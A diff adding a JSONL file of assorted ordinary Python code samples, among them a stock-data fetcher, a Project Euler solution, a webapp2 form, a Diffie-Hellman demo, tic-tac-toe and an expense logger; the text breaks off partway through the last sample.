diff --git "a/817.jsonl" "b/817.jsonl" new file mode 100644--- /dev/null +++ "b/817.jsonl" @@ -0,0 +1,598 @@ +{"seq_id":"110122099","text":"import yfinance as yf\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_previous_months(stock_name: str, months=1):\n \"\"\"\n Args:\n stock_name: name of stock to get. 'AAPL'\n months: number of months got get. (Default: 1)\n Returns: DataFrame of stock prices\n \"\"\"\n end_date = datetime.now()\n start_date = end_date - timedelta(days=months*32)\n end_date = end_date.strftime('%Y-%m-%d')\n start_date = start_date.strftime('%Y-%m-%d')\n logger.info(f'Getting Stock Data - Name: {stock_name} Start: {start_date} End: {end_date}')\n data = yf.download(stock_name, start_date, end_date)\n return data\n\n\nif __name__ == \"__main__\":\n\n # Get the data for the stock Apple by specifying the stock ticker, start date, and end date\n logging.basicConfig(level=logging.DEBUG)\n logging.basicConfig(format= \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n\n # Set level per module - debug has a LOT of output otherwise\n logging.getLogger(\"matplotlib\").setLevel(logging.WARNING)\n logging.getLogger(\"yfinance\").setLevel(logging.WARNING)\n logging.getLogger(\"urllib3\").setLevel(logging.WARNING)\n\n data = get_previous_months('JDST')\n\n # Plot the close prices\n data.Close.plot()\n plt.show()\n","sub_path":"stonks/get_data/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"331866296","text":"#!/usr/bin/env python3\n\n#Sum of the even fibonacci numbers less or equal to limit\nlimit = 4000000 #must be equal or greater than 8\n\n#Fibonacci sequence: 1, 1, 2, 3, 5, 8, 13, 21, 34, ...\n#It is easily verified that only every 3rd element in the sequence is even\n#because it is the sum of 2 odd numbers(the previous elements of the sequence)\n#Let S(n) be the even fibonnaci number of order n. Then S(n) = F(3n) = F(3n-1) + F(3n-2) =\n#\t\t\t\t\t\t\tF(3n-2) + F(3n-3) + F(3n-3) + F(3n-4) =\n#\t\t\t\t\t\t\tF(3n-3) + F(3n-4) + F(3n-3) + F(3n-3) + F(3n-5) + F(3n-6) =\n#\t\t\t\t\t\t\t4F(3n-3) + F(3n-6) =\n#\t\t\t\t\t\t\t4S(n-1) + S(n-2)\n\ns1 = 2 #S(1) = F(3)\ns2 = 8 #S(2) = F(6)\n\n#returns the element of order n\ndef next_even(sn_1, sn_2):\n\treturn 4*sn_1 + sn_2\n\nsn_1 = s2\nsn = next_even(s2, s1)\ntotal = s1 + s2\n\nwhile(sn <= limit):\n\ttotal += sn\n\tsn_2 = sn_1\n\tsn_1 = sn\t\n\tsn = next_even(sn_1, sn_2)\n\nprint(total) \n","sub_path":"prob2.py","file_name":"prob2.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34022012","text":"import Config as Cg\nfrom simulation_utilities import ploting\nfrom simulation_utilities.Training_point_generator import get_training_points\nfrom simulation_utilities.workload_generator import workload_config\n\nworkload_ini = Cg.workload_array\n\n# number of initial points for the gaussian\nnumber_of_training_points = Cg.number_of_training_points\n\nmax_iterations = Cg.number_of_iterations\n\n\ndef initial_data_assign():\n\n one_parameter = False\n\n workload = workload_config(workload_ini, max_iterations)\n\n if len(workload_ini) == 1:\n one_parameter = True\n x_plot_data, y_plot_data = ploting.initial_plot()\n x_data, y_data, parameter_history = get_training_points(number_of_training_points)\n z_plot_data = []\n\n else:\n x_plot_data, y_plot_data, z_plot_data = ploting.initial_2d_plot()\n x_data, y_data, parameter_history = get_training_points(number_of_training_points, workload)\n\n return one_parameter, x_plot_data, y_plot_data, z_plot_data, x_data, y_data, parameter_history, workload\n","sub_path":"simulation_utilities/initial_data_assign.py","file_name":"initial_data_assign.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"545628148","text":"from os import getcwd\nfrom os.path import expanduser, isabs, relpath, abspath, dirname, join\nfrom bossman.errors import BossmanConfigurationError\nfrom bossman.logging import logger\n\nlogger = logger.getChild(__name__)\n\ndef getenv(key, default=None):\n from os import getenv\n v = getenv(key)\n if v == None:\n return default\n\n_DEFAULT_RESOURCE_TYPES = (\n {\n \"module\": \"bossman.plugins.akamai.property\",\n \"pattern\": \"akamai/property/{name}\",\n \"options\": {\n \"edgerc\": getenv(\"AKAMAI_EDGERC\", expanduser(\"~/.edgerc\")),\n \"section\": getenv(\"AKAMAI_EDGERC_SECTION\", \"papi\"),\n \"switch_key\": getenv(\"AKAMAI_EDGERC_SWITCHKEY\", None),\n }\n },\n)\n\nclass ResourceTypeConfig:\n def __init__(self, data):\n self.pattern = data.get(\"pattern\")\n self.module = data.get(\"module\")\n self.options = data.get(\"options\", {})\n\n def __str__(self):\n return _dump(self)\n\nclass Config:\n def __init__(self, data):\n self.resource_types = (\n ResourceTypeConfig(config)\n for config\n in data.get(\"resources\", _DEFAULT_RESOURCE_TYPES)\n )\n\n def __str__(self):\n return _dump(self)\n\ndef _dump(obj):\n def simplify(obj):\n try:\n __dict__ = object.__getattribute__(obj, \"__dict__\")\n return dict(\n (k, simplify(v))\n for (k, v)\n in __dict__.items()\n )\n except AttributeError:\n return obj\n return str(simplify(obj))\n\n ","sub_path":"bossman/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"636300767","text":"\"\"\"\ndb_play.py - diagnostic experiments with flatland db\n\"\"\"\nfrom sqlalchemy import create_engine, MetaData, select, and_\n\nengine = create_engine(f'sqlite:///../Database/flatland.db', echo=True)\nconn = engine.connect()\nmetadata = MetaData()\nmetadata.reflect(engine)\n\n# ctypes = metadata.tables['Node Type']\n# q = select([ctypes.c['Name'], ctypes.c['Diagram type']]).where(ctypes.c['Name'] == \"class\")\n# i = conn.execute(q).fetchone()\n\ncontent = [ ['Aircraft'], ['ID', 'Altitude'] ]\ncomps = metadata.tables['Compartment Type']\nq = select([comps]).where(\n and_(comps.c['Node type'] == 'class', comps.c['Diagram type'] == 'class')\n).order_by('Stack order')\nfound = conn.execute(q).fetchall()\nz = zip(content, found)\nfor text, i in z:\n print(f'Text: |{text}|, Compartment: {dict(i)[\"Name\"]}')\n #print(f'Text: |{text}|, Compartment: {i[\"Name\"]}')\n\n\n# stem_end_decs = metadata.tables['Stem End Decoration']\n# q = select([stem_end_decs.c.Symbol, stem_end_decs.c.End]).where(and_(\n# stem_end_decs.c['Stem type'] == 'to initial state',\n# stem_end_decs.c['Semantic'] == 'initial pseudo state',\n# stem_end_decs.c['Diagram type'] == 'state machine',\n# stem_end_decs.c['Notation'] == 'xUML'\n# )\n# )\n\n# print('===')\n# print(f'Query: {str(q)}')\n# print('--- Returned rows ---')\n# for i in found:\n# print(i)\n# print('---')\n\n\n# dec_stems = metadata.tables['Decorated Stem']\n# stem_sigs = metadata.tables['Stem Signification']\n# j = stem_sigs.join(dec_stems)\n#q = select([j]).where(and_(\n#q = select([dec_stems.c.Stroke]).where(and_(\n# q = select([dec_stems.c.Stroke]).where(and_(\n# dec_stems.c['Stem type'] == 'class mult',\n# dec_stems.c['Semantic'] == 'Mc mult',\n# dec_stems.c['Diagram type'] == 'class',\n# dec_stems.c['Notation'] == 'Starr'\n# )\n# )\n\n\n\n\n\n#cols = [dec_stems.c['Stroke']]\n#cols = [stem_end_decs.c['Symbol'], stem_end_decs.c['End'], dec_stems.c['Stroke']]\n# j = stem_sigs.join(dec_stems)\n#q = select(cols)\n\n#q2 = select([j]).where(dsend.c['Notation'] == 'Shlaer-Mellor')\n# q3 = select([sdec]).where(sdec.c['Notation'] == 'Shlaer-Mellor')\n# and_(\n# sdec.c['Notation'] == 'Shlaer-Mellor',\n# sdec.c['Stem type'] == 'class mult',\n# sdec.c['Diagram type'] == 'class',\n# sdec.c['Semantic'] == 'Mc mult'\n# )\n# )\n# cols = [sdec.c['Symbol'], sdec.c['Shape']]\n# query = select(cols)\n# query = query.select_from(dsend.join(sdec)).where(\n# and_(\n# sdec.c['Stem type'] == 'class mult',\n# sdec.c['Diagram type'] == 'class',\n# sdec.c['Notation'] == 'Shlaer-Mellor'\n# # sdec.c['Semantic'] == 'Mc mult'\n# )\n# )\n# query = select([sdec.c.Symbol, sdec.c.Shape]).select_from(dsend.join(sdec)).where( and_(\n# sdec.c['Stem type'] == 'class mult',\n# sdec.c['Diagram type'] == 'class',\n# sdec.c['Notation'] == 'Shlaer-Mellor',\n# sdec.c['Semantic'] == 'Mc mult'\n# )\n# )\n#\n# found = conn.execute(q).fetchall()\n# print(\"\\n\")\n# print(\"Found:\")\n# print(\"---\")\n# for f in found:\n# print(f)\n# # print(f\"Symbol: {f['Symbol']} Shape: {f['Shape']}\")\n# print(\"---\")\nif __name__ == \"__main__\":\n print(\"Hello from main!\")\n","sub_path":"Test/db_play.py","file_name":"db_play.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"551302798","text":"#!/usr/bin/python\n#usage example 1: python client_spark.py keyword orange\n#usage example 2: python client_spark.py image /path\n\nfrom socket import socket, gethostname\nfrom sys import argv\n\nif len(argv) >= 2 and len(argv[1]):\n\ts = socket()\n\ts.connect((gethostname(), 12345))\n\n\tkeywords = \"\"\n\tfor i in range(1, len(argv)):\n\t\tkeywords += argv[i] + \" \"\n\n\ts.send(keywords[:-1].encode())\n\trequest = s.recv(4096).decode()\n\tprint(request, end=\"\")\n\ts.close()\n","sub_path":"server/client_spark.py","file_name":"client_spark.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"32806488","text":"import os, json, logging, bz2\n\n\"\"\"\nexample:\n000000000001.com\t2010-12-03\t1\n000000000001.com\t2011-06-25\t1\n00000000001116.blogspot.com\t2010-12-24\t2\n00000000ejgy.blogspot.com\t2014-06-11\t1\n00000000ejgy.blogspot.com\t2014-06-16\t1\n\"\"\"\n\n\ndef extract_date(raw):\n raw = raw.split('/')[-1]\n raw = raw.split('.')[0]\n raw = raw.strip('web-')\n return raw\n #return datetime.datetime.strptime(raw, \"%Y-%m-%d\")\n\ncounts = {}\nwith open('sources.txt',) as f:\n for line in f:\n source = line.strip(\"\\n \")\n counts[source] = {}\n\ninfile = bz2.BZ2File('num_articles_per_day.txt.bz2')\n\nfor line in infile:\n terms = line.split(\"\\t\")\n domain = terms[0]\n if domain in counts:\n date = terms[1]\n if date not in counts[domain]:\n counts[domain][date] = 0\n count = terms[2]\n counts[domain][date] += int(count)\n\ninfile.close()\n\nwith open('counts.json', 'wb') as f:\n json.dump(counts, f)\n\n# import matplotlib.pyplot as plt\n# from matplotlib.pyplot import plot_date\n#\n# figure = plt.figure()\n# for domain, data in counts.items():\n# dates = data.keys()\n# values = [data[k] for k in dates]\n# plot_date(dates, values)\n\n\n\n\n\n","sub_path":"count_urls.py","file_name":"count_urls.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"182490495","text":"from graph import Graph\nfrom util import Stack, Queue\ntest_ancestors = [(1, 3), (2, 3), (3, 6), (5, 6), (5, 7), (4, 5), (4, 8), (8, 9), (11, 8), (10, 1)]\n\ndef earliest_ancestor(ancestors, starting_node):\n \n # use BFS to search for the oldest\n # EdGE case: if no relevant parent node return -1 \n valid = False\n # loop all ancestors and check to see if no parent node exists then return -1\n for parent in ancestors:\n if parent[1] == starting_node:\n valid = True\n break\n\n if valid == False:\n return -1\n\n # create an empty queue to store visited ancestors\n q = []\n q.append([starting_node])\n\n visited = set()\n\n # search the queue until it is empty\n while len(q) > 0:\n # dequeue the first one \n path = q.pop(0)\n #print('path', path)\n # current vert is not the end of the path\n v = path[-1]\n #print('current v:', v)\n \n # if the vert is not in visited add it \n if v not in visited:\n visited.add(v)\n print('visited', visited)\n\n valid = False\n\n # seach for the oldest\n for parent in ancestors:\n #print(parent[0])\n if parent[1] == v:\n new_path = list(path)\n new_path.append(parent[0])\n q.append(new_path)\n valid = True\n\n # if v has no ancestors, break the loop\n if valid == False:\n print('no more', v)\n q.append(list(path))\n break\n\n\n # now find the earliest \n earliest = []\n # loop the q\n for path in q:\n print(path, earliest)\n # as long as the path is larger than earliest add that path to the earliest\n if len(path) > len(earliest):\n earliest = list(path)\n # if they are the same length compare the last elements in the list\n elif len(path) == len(earliest):\n print('in here', path[-1], earliest[-1])\n #if the earliest is larger add the path to the list\n if path[-1] < earliest[-1]:\n earliest = list(path)\n\n return earliest[-1]\n \n\n\"\"\"short hand\"\"\"\n\n# def earliest_ancestor(ancestors, starting_node):\n# g = Graph()\n# # PSUEDOCODE:\n# # import Graph\n# # iterate through the array or ancestors\n# for tuple_ in ancestors:\n# # make a dictionary/ or some how find a way to add connected vertex\n# # how do i creat each vertex?\n# # if the tuple_ is not already in the vertices\n# if tuple_[0] not in g.vertices:\n# # add each tyuple_[0] to graph vertex\n# g.add_vertex(tuple_[0])\n# if tuple_[1] not in g.vertices:\n# g.add_vertex(tuple_[1])\n# #print(g.vertices, \"================\")\n# for linked_pair in ancestors:\n# # index of 0 in each tuple would be the v1 in add_edge\n# # index of 1 in same tuple would be the v2 in add egde\n# # make sure all edges are added\n# g.add_edge(linked_pair[0], linked_pair[1])\n# #print(g.vertices, \"********************\")\n# all_paths = []\n# # implement the vertex\n# #print('v',g.vertices)\n# for vertex in g.vertices:\n# #print(vertex)\n# dfs_call = g.dfs(vertex, starting_node)\n# #print(dfs_call)\n# if dfs_call is not None:\n# if len(dfs_call) > len(all_paths):\n# all_paths = dfs_call\n# elif len(dfs_call) == len(all_paths):\n# if dfs_call[0] < all_paths[0]:\n# all_paths = dfs_call\n# # needs to return in order to\n# if len(all_paths) <= 1:\n# return -1\n# return all_paths[0]\n# # CONDITIONALS\n# # if there is more than one earliest ancestor\n# # # return the min value of the nodes in question\n# # if input aka start_node has no parents:\n# # # return the value of -1\n\n\"\"\"class solution\"\"\"\n\n# def earliest_ancestor(ancestors, starting_node):\n# graph = Graph()\n# for pair in ancestors:\n# graph.add_vertex(pair[0])\n# graph.add_vertex(pair[1])\n\n# graph.add_edge(pair[1], pair[0])\n\n# q = Queue()\n# q.enqueue([starting_node])\n# max_path_len = 1\n# earliest_ancestor = -1\n\n# while q.size() > 0:\n# path = q.dequeue()\n# v = path[-1]\n\n# if(len(path) >= max_path_len and v < earliest_ancestor) or (len(path) > max_path_len):\n# earliest_ancestor = v\n# max_path_len = len(path)\n# for n in graph.vertices[v]:\n# path_copy = list(path)\n# path_copy.append(n)\n# q.enqueue(path_copy)\n \n# return earliest_ancestor\n\n\n\n\nprint('1:', earliest_ancestor(test_ancestors, 1))\nprint('2:', earliest_ancestor(test_ancestors, 2))\nprint('3:', earliest_ancestor(test_ancestors, 3))","sub_path":"projects/ancestor/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433230938","text":"#!/usr/bin/env fslpython\n\nimport json\n\n\n\n\n\n\n\n\n\n\n#=========================================================================================\n# QUAD - Export data and qc indices to JSON file \n# Matteo Bastiani\n# 01-06-2017, FMRIB, Oxford\n#=========================================================================================\n\n\ndef main(data, eddy, eddy_input):\n \"\"\"\n Create JSON file that contains data informationa and qc indices derived from the single\n subject qc analysis. This information will then be used for a further group qc analysis\n (if needed).\n \n Arguments:\n - data: data dictionary containg information about the dataset\n - eddy: EDDY dictionary containg useful qc information\n \"\"\"\n \n data_json = {\n 'eddy_input_flag':eddy_input.KnowsParameters(),\n 'eddy_input':eddy_input.GetParameters(),\n \n 'data_file_eddy':data['subj_id'],\n 'data_file_mask':data['mask_id'],\n 'data_file_bvals':data['bvals_id'],\n 'data_no_dw_vols':data['no_dw_vols'].tolist(),\n 'data_no_b0_vols':data['no_b0_vols'].tolist(),\n 'data_no_PE_dirs':data['no_PE_dirs'],\n 'data_protocol':data['protocol'].tolist(),\n 'data_no_shells':data['no_shells'].tolist(),\n 'data_unique_bvals':data['unique_bvals'].tolist(),\n 'data_unique_pes':data['unique_pedirs'].tolist(),\n 'data_eddy_para':data['eddy_para'].tolist(),\n 'data_vox_size':data['vox_size'][0:3].tolist(),\n\n 'qc_path':data['qc_path'],\n 'qc_mot_abs':round(eddy['avg_abs_mot'], 2),\n 'qc_mot_rel':round(eddy['avg_rel_mot'], 2),\n 'qc_params_flag':eddy['paramsFlag'],\n 'qc_params_avg':eddy['avg_params'].tolist(),\n 'qc_s2v_params_flag':eddy['s2vFlag'],\n 'qc_s2v_params_avg_std':eddy['avg_std_s2v_params'].tolist(),\n 'qc_field_flag':eddy['fieldFlag'],\n 'qc_vox_displ_std':eddy['std_displacement'].tolist(),\n 'qc_ol_flag':eddy['olFlag'],\n 'qc_outliers_tot':eddy['tot_ol'],\n 'qc_outliers_b':eddy['b_ol'].tolist(),\n 'qc_outliers_pe':eddy['pe_ol'].tolist(),\n 'qc_cnr_flag':eddy['cnrFlag'],\n 'qc_cnr_avg':eddy['avg_cnr'].tolist(),\n 'qc_cnr_std':eddy['std_cnr'].tolist(),\n 'qc_rss_flag':eddy['rssFlag'],\n }\n\n # Write dictionary to json\n with open(data['qc_path'] + '/qc.json', 'w') as fp:\n json.dump(data_json, fp, sort_keys=True, indent=4, separators=(',', ': '))\n \n\n \n \n","sub_path":"eddy_qc/QUAD/quad_json.py","file_name":"quad_json.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"31171499","text":"import pickle\n\ndef to_dict(line):\n line = line.rstrip()\n if line == \"EOS\":\n return None\n tmp = line.split(\"\\t\")\n pos = tmp[1].split(\",\")\n d = {\"surface\": tmp[0], \"pos\": pos[0], \"pos1\": pos[1], \"base\": pos[6]}\n return d\n\ndef mecab_to_list(text):\n l = []\n tmp = []\n for line in text:\n d = to_dict(line)\n if d is not None:\n tmp.append(d)\n elif tmp:\n l.append(tmp)\n tmp = []\n return l\n\ntable = {'\\n', '\\u3000'}\n\nif __name__ == \"__main__\":\n text = open('data/neko.txt.mecab', 'r').readlines()\n text = [line for line in text if line not in table]\n ret = mecab_to_list(text)\n with open(\"./mecab.bin\", \"wb\") as f:\n pickle.dump(ret, f)\n","sub_path":"seiichi/chapter04/30.py","file_name":"30.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"56517375","text":"import webapp2\nimport fix_path\nimport make_blog\n\nform=\"\"\"\n
\n What is your birthday?\n
\n \n \n \n
%(error)s
\n
\n
\n \n
\n\"\"\"\n\nclass MainPage(webapp2.RequestHandler):\n def write_form(self,error=\"\", month=\"\", day=\"\", year=\"\"):\n self.response.out.write(form % {'error': make_blog.escape_html(error),\n 'month': make_blog.escape_html(month),\n 'day': make_blog.escape_html(day),\n 'year': make_blog.escape_html(year)})\n return\n \n def get(self):\n self.write_form()\n return\n \n def post(self):\n user_month = self.request.get('month')\n user_day = self.request.get('day')\n user_year = self.request.get('year')\n\n month = make_blog.valid_month(user_month)\n day = make_blog.valid_day(user_day)\n year = make_blog.valid_year(user_year)\n if not (month and day and year) :\n self.write_form(\"That doesn't look valid to me, friend.\",\n user_month, user_day, user_year)\n else:\n self.redirect('/thanks')\n\nclass ThanksHandler(webapp2.RequestHandler):\n def get(self):\n self.response.out.write(\"Thanks! That's a totally valid day!\")\n\n \napp = webapp2.WSGIApplication([('/', MainPage),\n ('/thanks', ThanksHandler)],\n debug=True)\n\n \n\n","sub_path":"helloworld/helloworld.py","file_name":"helloworld.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217756733","text":"# vim:fileencoding=utf-8:noet\n\nfrom __future__ import (unicode_literals, division, absolute_import, print_function)\n\nfrom powerline.segments import Segment, with_docstring\nfrom powerline.theme import requires_segment_info\n\n\n@requires_segment_info\nclass HostSegment(Segment):\n\tdivider_highlight_group = None\n\n\tdef __call__(self, pl, segment_info):\n\t\thost = segment_info['environ'].get('DOCKER_HOST', None)\n\t\tif host:\n\t\t\tif host.startswith('tcp://') and not (host.startswith('tcp://127.') or host.startswith('tcp://localhost')):\n\t\t\t\treturn [{\n\t\t\t\t\t'contents': host,\n\t\t\t\t\t'highlight_groups': ['information:highlighted'],\n\t\t\t\t}]\n\n\nhost = with_docstring(HostSegment(),\n'''Return the docker host.\n\nHighlight groups used: ``information:highlighted``.\n''')\n","sub_path":"powerline/segments/common/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"586663108","text":"def file_view(filename,n):\r\n f = open(filename)\r\n (begin,end)=n.split(':')\r\n if begin == '':\r\n begin = '1'\r\n if end == '':\r\n end = '-1'\r\n if begin == '1' and end == '-1':\r\n prompt = '的全文是:'\r\n elif begin == '1':\r\n prompt = '从开始到第%s行是:' % end\r\n elif end =='-1':\r\n prompt = '从第%s行到结束的是:' % begin\r\n else:\r\n prompt = '从第%s行到第%s行的是:' % (begin,end)\r\n print('%s%s' %(filename,prompt))\r\n for a in range(int(begin)-1):\r\n f.readline()\r\n line = int(end) - (int(begin)-1)\r\n if line<0:\r\n print(f.read())\r\n else:\r\n for each_line in range(line):\r\n print(f.readline(),end = '')\r\n f.close()\r\nfilename = input('请输入文件名:')\r\nn = input('请输入要显示的行数,格式【:n,m:n,n:,:】:')\r\nfile_view(filename,n)\r\n \r\n","sub_path":"file_view_line.py","file_name":"file_view_line.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"88633934","text":"from cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import dh\nfrom cryptography.hazmat.primitives.kdf.hkdf import HKDF\nfrom cryptography.hazmat.primitives import serialization\nimport os\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n\n# Generate some parameters. These can be reused.\nparameters = dh.generate_parameters(generator=2, key_size=2048, backend=default_backend())\nparameters2 = dh.generate_parameters(generator=2, key_size=2048, backend=default_backend())\n# Generate a private key for use in the exchange.\nserver_private_key = parameters2.generate_private_key()\n# In a real handshake the peer is a remote client. For this\n# example we'll generate another local private key though. Note that in\n# a DH handshake both peers must agree on a common set of parameters.\npeer_private_key = parameters.generate_private_key()\nshared_key = server_private_key.exchange(peer_private_key.public_key())\n# Perform key derivation.\n# And now we can demonstrate that the handshake performed in the\n# opposite direction gives the same final value\nsame_shared_key = peer_private_key.exchange(\n server_private_key.public_key()\n)\n\nsame_derived_key = HKDF(\n algorithm=hashes.SHA256(),\n length=32,\n salt=None,\n info=b'handshake data',\n backend=default_backend()\n).derive(same_shared_key)\n\niv = os.urandom(16)\ncipher = Cipher(algorithms.AES(same_derived_key), modes.CBC(iv), backend=default_backend(),)\nencryptor = cipher.encryptor()\nct = encryptor.update(b\"a\"*691) + encryptor.finalize()\ndecryptor = cipher.decryptor()\nmsg = decryptor.update(ct) + decryptor.finalize()","sub_path":"SocketProgramming/DeffieHelmanExchange.py","file_name":"DeffieHelmanExchange.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396443435","text":"import os,json\nclass Files:\n def __init__(self,path):\n self.path=path\n\n def fileExists(self):\n if(os.path.isfile(self.path)):\n return True\n return False\n\n def createFile(self):\n if(self.fileExists()==False):\n try:\n f=open(self.path,\"w\")\n f.close()\n return True\n except PermissionError:\n Console.error(\"Permission error while trying to write to {d}\".format(self.path))\n #print access to directory is denied\n except:\n Console.error(\"Unkown exception occurred while writing to {d}\".format(self.path))\n #unkown error\n return False\n\n def createDir(self):\n if(os.path.isdir(self.path)):\n return False\n else:\n os.mkdir(self.path)\n return True\n \n def copyFile(self,src,destination):\n return_code=os.system('cp {src} {dst}'.format(src=src,dst=destination))\n if(return_code!=0):\n Console.error(\"Could not copy file from {src} to {dst}\\n Return code {rC}\".format(src=src,dst=destination,rC=return_code))\n return False\n return True\n\n def copyFolder(self,src,destination):\n return_code=os.system('cp -r {src} {dst}'.format(src=src,dst=destination))\n if(return_code!=0):\n Console.error(\"Could not copy folder from {src} to {dst}\\n Return code {rC}\".format(src=src,dst=destination,rC=return_code))\n return False\n return True\n\nclass JsonFile:\n def __init__(self,path):\n self.filepath=path\n\n def loadJson(self):\n data=None\n with open(self.filepath,'r') as f:\n try:\n data=json.load(f)\n except:\n Console.error(\"Error while reading json file {f}\".format(f=self.filepath))\n data=False\n return data\n\n def exportJson(self,data):\n rslt=False\n with open(self.filepath,\"w\") as f:\n try:\n json.dump(f,data)\n rslt=True\n except:\n Console.error(\"Error while writing to {f}\".format(f=self.filepath))\n return rslt\n\nclass Console:\n @staticmethod\n def error(message):\n Console.print(message,'red')\n @staticmethod\n def success(message):\n Console.print(message,'green')\n @staticmethod\n def warning(message):\n Console.print(message,'yellow')\n @staticmethod\n def print(message,color=None):\n print(message)\n @staticmethod\n def log(message):\n print(message)","sub_path":"newPortfolio/automate/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"538860760","text":"import os\nimport time\nimport random\n\nboard = [\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",\" \",]\n\ndef print_board():\n print(\" \"+board[1]+\" | \"+board[2]+\" | \"+board[3]+\" \")\n print(\"----|---|----\")\n print(\" \"+board[4]+\" | \"+board[5]+\" | \"+board[6]+\" \")\n print(\"----|---|----\")\n print(\" \"+board[7]+\" | \"+board[8]+\" | \"+board[9]+\" \")\n\ndef game_over(game_board):\n for i in range(1,8,3):\n if game_board[i] == \"X\" and game_board[i+1] == \"X\" and game_board[i+2] == \"X\":\n print(\"X won!\")\n quit()\n if game_board[i] == \"O\" and game_board[i+1] == \"O\" and game_board[i+2] == \"O\":\n print(\"O won!\")\n quit()\n for i in range(1,4):\n if game_board[i] == \"X\" and game_board[i+3] == \"X\" and game_board[i+6] == \"X\":\n print(\"X won!\")\n quit()\n if game_board[i] == \"O\" and game_board[i+3] == \"O\" and game_board[i+6] == \"O\":\n print(\"O won!\")\n quit()\n if game_board[1] == \"X\" and game_board[5] == \"X\" and game_board[9] == \"X\":\n print(\"X won!\")\n quit()\n if game_board[3] == \"X\" and game_board[5] == \"X\" and game_board[7] == \"X\":\n print(\"X won!\")\n quit()\n if game_board[1] == \"O\" and game_board[5] == \"O\" and game_board[9] == \"O\":\n print(\"O won!\")\n quit()\n if game_board[3] == \"O\" and game_board[5] == \"O\" and game_board[7] == \"O\":\n print(\"O won!\")\n quit()\n\n x = 0\n for i in range(1,10):\n if game_board[i] == \" \":\n x+=1\n if x == 0:\n print(\"Draw!\")\n quit()\n\ndef input_choiceX():\n try:\n position = int(input(\"Please choose an empty space for X: \"))\n if position < 1 or position > 9:\n raise ValueError\n elif board[position] == \" \":\n board[position] = \"X\"\n else:\n print(\"Sorry this place is reserved\")\n time.sleep(1)\n raise ValueError\n except:\n print(\"Pleas give a valid position!\")\n input_choiceX()\n\ndef input_choiceY():\n try:\n position = int(input(\"Please choose an empty space for O: \"))\n if position < 1 or position > 9:\n raise ValueError\n elif board[position] == \" \":\n board[position] = \"O\"\n else:\n print(\"Sorry this place is reserved\")\n time.sleep(1)\n raise ValueError\n except:\n print(\"Pleas give a valid position!\")\n input_choiceY()\n\n\nwhile True:\n os.system(\"clear\")\n print_board()\n\n input_choiceX()\n os.system(\"clear\")\n print_board()\n game_over(board)\n \n input_choiceY()\n os.system(\"clear\")\n print_board()\n game_over(board)\n \n \n \n","sub_path":"tictactoeFinal.py","file_name":"tictactoeFinal.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"179425723","text":"def main():\r\n\r\n while True:\r\n \r\n\r\n print('eLog \\t\\t\\t\\t\\t ver: 0.0.1')\r\n print('-----------------------------------------------------')\r\n print('E - Enter expenditure')\r\n print('D - Display Expenditures')\r\n print('R - Remove Expenditures')\r\n choice = input('Enter choice: ')\r\n print('')\r\n\r\n if choice == 'e':\r\n\r\n name = input('Enter product or service name: ')\r\n price = input('Enter product or service price: ')\r\n date = input('Enter product or service date of purchase: ')\r\n\r\n f = open('expenditures.txt', 'a+')\r\n f.write(date + ' ')\r\n f.write(name + ' ')\r\n f.write(price + ' ')\r\n f.write('\\n')\r\n f.close()\r\n\r\n elif choice == 'd':\r\n\r\n f = open('expenditures.txt', 'r')\r\n expenditures = f.readlines()\r\n f.close()\r\n\r\n index = 0\r\n \r\n for line in expenditures:\r\n print('item', index,': ', line.strip('\\n')) # .strip() gets rid of the newline that is read into the expenditures[] list\r\n index = index + 1\r\n\r\n elif choice == 'r':\r\n\r\n index = int(input('Enter index to remove item: '))\r\n\r\n f = open('expenditures.txt', 'r')\r\n expenditures = f.readlines()\r\n f.close()\r\n\r\n del expenditures[index]\r\n\r\n f = open('expenditures.txt', 'w')\r\n for line in expenditures:\r\n\r\n f.write(line)\r\n\r\n f = open('expenditures.txt', 